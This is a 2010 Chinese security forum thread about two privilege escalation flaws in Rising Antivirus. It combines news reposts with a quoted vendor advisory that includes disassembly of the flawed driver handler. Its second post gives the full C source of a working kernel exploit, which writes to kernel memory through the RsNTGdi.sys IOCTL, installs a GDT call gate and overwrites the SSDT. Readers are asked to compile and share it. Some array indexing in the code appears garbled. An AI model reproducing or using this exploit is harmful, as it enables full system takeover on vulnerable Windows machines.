OKSD
禁止发言
积分 82
发帖 82
注册 2009-8-21
|
#1 瑞星杀毒软件曝出高危漏洞
国外已经出现ODAY漏洞利用代码 有找到的告诉一声,上传一个,研究下
1月23日,波兰安全组织NT Internals曝光瑞星杀毒软件存在两个严重漏洞。有专家称黑客利用瑞星的漏洞可以获得系统控制权,把用户的电脑变成“批量抓鸡工具”。五天后,瑞星公司发声明称这两个漏洞均已在09年5月彻底修复。但是,南京大学计算机系软件小组发现这两个漏洞仍然存在,一旦被黑客利用,将导致巨大的安全风险。
360安全专家经过分析,发现瑞星的漏洞不仅危害瑞星用户,还可能被黑客用来攻击包括360在内的所有安全软件。考虑到瑞星未给用户提供修复工具,360安全中心为此紧急研发了临时补丁,供瑞星用户下载安装。
据NT Internals披露,此次曝光的是两个“本地提权”0day漏洞,漏洞信息早在08年9月和09年4月即已分别报告给瑞星,但至今第一个漏洞仍然仅仅是“部分修复”,第二个漏洞则完全没有修复,随时有被黑客利用的可能,因此不得不曝光予以警示。
南京大学软件小组在博客中表示:安全软件存在这样严重的安全漏洞非常罕见。瑞星的第二个漏洞不但完全没有修复,利用方式也非常简单,可以使黑客获得系统最高权限,让用户电脑以及政府机构和企业的内网完全丧失防御能力。而第一个漏洞尽管被部分修复,黑客仍可以将存在漏洞的瑞星驱动文件提取出来,用来“武装”自己制作的木马,以突破其它安全软件的防御(安全软件通常都会放行带瑞星数字签名的驱动文件),所以即便没有安装瑞星的电脑也有可能因为这个漏洞而遭殃。
NT Internals披露瑞星杀毒漏洞1:
http://www.NTInternals.org/ntiadv0805/ntiadv0805.html
NT Internals披露瑞星杀毒漏洞2:
http://www.NTInternals.org/ntiadv0902/ntiadv0902.html
瑞星公司声明:《关于瑞星0day漏洞的说明》:
http://www.rising.com.cn/about/news/rising/2010-01-28/6530.html
Advisory NTIADV0902 (Accelerated Disclosure)
RISING Antivirus 2008/2009/2010 Privilege Escalation Vulnerability
Vendor Beijing Rising International Software Co.,Ltd.
Affected Software RISING Antivirus 2008/2009/2010
Affected Driver RsNTGDI - RsNTGdi.sys
Date Reported 2009-04-20
Release Date 2010-01-23
Status Not fixed
Exploit RsNTGdi_Exp.zip - Local Privilege Escalation Exploit
Disclosure Timeline 2009-04-20 - Vulnerability reported to vendor
2009-04-21 - Vendor response
2010-01-23 - Full technical details released to general public
Description
Kernel module (RsNTGdi.sys) shipped with RISING Antivirus 2008/2009/2010 contains vulnerabilities in the code that handles IOCTL requests. Local exploitation of multiple vulnerabilities allow an attacker to execute arbitrary code in kernel context. All users can obtain handle of unprotected device "\\Device\\RSNTGDI" and exploit vulnerable function handling IOCTL requests.
.text:0001036E ; int __stdcall DispatchControl(int DeviceObject, PIRP Irp)
.text:0001036E DispatchControl proc near
.text:0001036E
.text:0001036E NtStatus = dword ptr -4
.text:0001036E DeviceObject = dword ptr 8
.text:0001036E Irp = dword ptr 0Ch
.text:0001036E
.text:0001036E push ebp
.text:0001036F mov ebp, esp
.text:00010371 push ecx
.text:00010372 push ebx
.text:00010373 push esi
.text:00010374 mov esi, [ebp+Irp]
.text:00010377 and [ebp+NtStatus], 0
.text:0001037B push edi
.text:0001037C mov ecx, [esi+60h]
.text:0001037F and dword ptr [esi+1Ch], 0
.text:00010383 mov edi, [esi+3Ch]
.text:00010386 mov eax, [ecx+10h]
.text:00010389 mov edx, [ecx+8]
.text:0001038C mov ebx, [ecx+4]
.text:0001038F mov ecx, [ecx+0Ch]
.text:00010392 cmp ecx, 83003C03h
.text:00010398 mov [ebp+Irp], ebx
.text:0001039B jz @@ioctl_83003C03
.text:000103A1 cmp ecx, 83003C07h
.text:000103A7 jz @@ioctl_83003C07
.text:000103AD cmp ecx, 83003C0Bh
.text:000103B3 jz @@ioctl_83003C0B
.text:000103B9 cmp ecx, 83003C0Fh
.text:000103BF jz short @@ioctl_83003C0F
.text:000103C1 cmp ecx, 83003C13h
.text:000103C7 jz short @@ioctl_83003C13
.text:000103C9 cmp ecx, 83003C17h
.text:000103CF jz short @@ioctl_83003C17
.text:000103D1 mov [ebp+NtStatus], 0C000000Dh
.text:000103D8 jmp @@complete_request
...
.text:00010458 @@ioctl_83003C0B:
.text:00010458 push 4
.text:0001045A pop ebx
.text:0001045B cmp edx, ebx
.text:0001045D jb short @@complete_request
.text:0001045F cmp [ebp+Irp], ebx
.text:00010462 jb short @@complete_request
.text:00010464 push dword ptr [eax]
.text:00010466 call VidSetTextColor
.text:0001046B mov [edi], eax
.text:0001046D mov [esi+1Ch], ebx
.text:00010470 jmp short @@complete_request
感谢大家的关注,附件里是利用程序,有条件的朋友请上传一个编译后的程序吧,我这工作环境有限。
附件下载地址:http://www.brsbox.com/filebox/do ... 7235c836b145160111f
|
※ ※ ※ 本文纯属【OKSD】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
2010-2-7 19:52 |
|
OKSD
禁止发言
积分 82
发帖 82
注册 2009-8-21
|
#2
#include "stdafx.h"
#include "windows.h"
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ;
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ;
ULONG btr ;
ULONG ColorBuffer = 0 ;
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
&ColorBuffer ,
sizeof(ULONG),
&btr ,
0
);
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
Address ,
sizeof(ULONG),
&btr ,
0
);
return ;
}
void AddCallGate()
{
ULONG Gdt_Addr;
ULONG CallGateData[0x4];
ULONG Icount;
__asm
{
push edx
sgdt [esp-2]
pop edx
mov Gdt_Addr , edx
}
__asm
{
push 0xc3
push Gdt_Addr
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]
push edi
mov edi,Gdt_Addr
add edi,0x3e0
add edi,eax
push edi
mov Icount,eax
call WriteKVM
mov eax,Icount
add eax , 0x4
cmp eax,0x10
jnz LoopWrite
}
return ;
}
void IntoR0(PVOID function)
{
WORD Callgt[3];
Callgt[0] = 0;
Callgt[1] = 0;
Callgt[2] = 0x3e3;
__asm
{
call fword ptr[Callgt]
mov eax,esp
mov esp,[esp+4]
push eax
call function
pop esp
push offset ring3Ret
retf
ring3Ret:
nop
}
return ;
}
#pragma pack(1)
typedef struct _IDTR
{
SHORT IDTLimit;
UINT IDTBase;
}IDTR,
*PIDTR,
**PPIDTR;
#pragma pack()
ULONG g_RealSSDT = 0 ;
ULONG ServiceNum = 0 ;
ULONG OrgService [0x1000] ;
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
{
ULONG Offset = Rva, Limit;
IMAGE_SECTION_HEADER *Img;
WORD i;
Img = IMAGE_FIRST_SECTION(NT);
if (Rva < Img->PointerToRawData)
return Rva;
for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (Img.SizeOfRawData)
Limit = Img.SizeOfRawData;
else
Limit = Img.Misc.VirtualSize;
if (Rva >= Img.VirtualAddress &&
Rva < (Img.VirtualAddress + Limit))
{
if (Img.PointerToRawData != 0)
{
Offset -= Img.VirtualAddress;
Offset += Img.PointerToRawData;
}
return Offset;
}
}
return 0;
}
#define ibaseDD *(PDWORD)&ibase
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;
GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;
if (dwPointsToRva==dwKSDT)
{
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
*ImageBase = poh->ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}
return 0;
}
DWORD CR0Reg ;
ULONG realssdt ;
void InKerneProc()
{
__asm
{
cli
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF
mov cr0, eax
}
int i;
for (i = 0; i < (int)ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService;
}
__asm
{
mov eax, CR0Reg
mov cr0, eax
sti
}
}
int main(int argc, char* argv[])
{
printf("Rising AntiVirus 2008 ~ 2010 \n"
"Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n");
g_RsGdiHandle = CreateFile("\\\\.\\RSNTGDI" ,
0,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
0,
OPEN_EXISTING , 0 , 0 );
if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
{
return 0 ;
}
SYSTEM_MODULE_INFORMATION ModuleInfo ;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");
ULONG infosize = sizeof(ModuleInfo);
__asm
{
push 0
push infosize
lea eax , ModuleInfo
push eax
push 11
call pNtQuerySystemInformation
}
HMODULE KernelHandle ;
LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);
// Load the kernel image specified
KernelHandle = LoadLibrary(ntosname);
if (KernelHandle == 0 )
{
return 0 ;
}
ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");
if (KeSSDT == 0 )
{
return 0 ;
}
ULONG ImageBase = 0 ;
ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);
if (KiSSDT == 0 )
{
return 0 ;
}
KiSSDT += (ULONG)KernelHandle;
ServiceNum = 0x11c ;
ULONG i ;
for (i = 0 ; i < ServiceNum ; i ++)
{
OrgService = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;
}
realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;
SetThreadAffinityMask(GetCurrentThread () , 0 ) ;
AddCallGate();
IntoR0(InKerneProc);
return 0;
}
[ Last edited by OKSD on 2010-2-7 at 19:54 ]
|
※ ※ ※ 本文纯属【OKSD】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
2010-2-7 19:52 |
|
OKSD
禁止发言
积分 82
发帖 82
注册 2009-8-21
|
#3
瑞星杀毒软件曝出高危漏洞 360紧急提供临时补丁
1月23日,波兰安全组织NT Internals揭露瑞星杀毒软件存在两个严重漏洞。有专家称黑客运用 瑞星的漏洞能够取得系统控制权,把用户的计算机变成“批量抓鸡工具”。五天后,瑞星公司发声明称这两个漏洞均已在09年5月完全修正。但是,南京大学计算机系软件小组发觉这两个漏洞仍然存在,一旦被黑客运用 ,将导致庞大的安全风险。
360安全专家经历剖析,发觉瑞星的漏洞不仅危害瑞星用户,还可能被黑客用来攻击包含 360在内的所有安全软件。思虑到瑞星未给用户提供修正工具,360安全中心为此紧急研发了临时补丁,供瑞星用户下载安装。
据NT Internals披露,此次揭露的是两个“本地提权”0day漏洞,漏洞信息早在08年9月和09年4月即已分别报告给瑞星,但至今第一个漏洞仍然仅仅是“部分修正 ”,第二个漏洞则完全没有修正,随时有被黑客运用 的可能,因此不得不揭露予以警示。
南京大学软件小组在blog 中示意:安全软件存在这样严重的安全漏洞特别罕见。瑞星的第二个漏洞不但完全没有修正,运用 方式也特别基本,能够使黑客取得系统最高权限,让用户计算机以及政府机构和企业的内网完全丧失防御能力。而第一个漏洞尽管被部分修正,黑客仍能够将存在漏洞的瑞星驱动文件提取出来,用来 “武装”自身打造的木马,以突破其它安全软件的防御(安全软件通常都会放行带瑞星数字签名的驱动文件),所以即便没有安装瑞星的计算机也有可能因为这个漏洞而遭殃。
360安全专家示意,360的验证结果与NT Internals和南京大学软件小组完全一致。360工程师测试后发觉,这两个漏洞至少影响瑞星杀毒软件的2008、2009、2010三个首要版本,能够被用来突破、关上所有安防系统。当前国外安全论坛上已出现针对瑞星漏洞的攻击代码,按以往次序,一旦攻击代码大面积扩散,针对瑞星用户的大规模攻击随时可能爆发。
360安全中心示意,360研发的临时补丁能够修正瑞星的漏洞,并能够为瑞星公司提供相应的技能支撑。在瑞星完全修正这两个漏洞并对所有用户执行 升级之前,360安全专家建议瑞星用户尽快安装360公司提供的临时补丁。
附:
360为瑞星漏洞研发的临时补丁下载地址:
http://dl.360safe.com/risingpatcher.exe
NT Internals披露瑞星杀毒漏洞1:
http://www.ntinternals.org/ntiadv0805/ntiadv0805.html
NT Internals披露瑞星杀毒漏洞2:
|
※ ※ ※ 本文纯属【OKSD】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
2010-2-7 19:54 |
|
|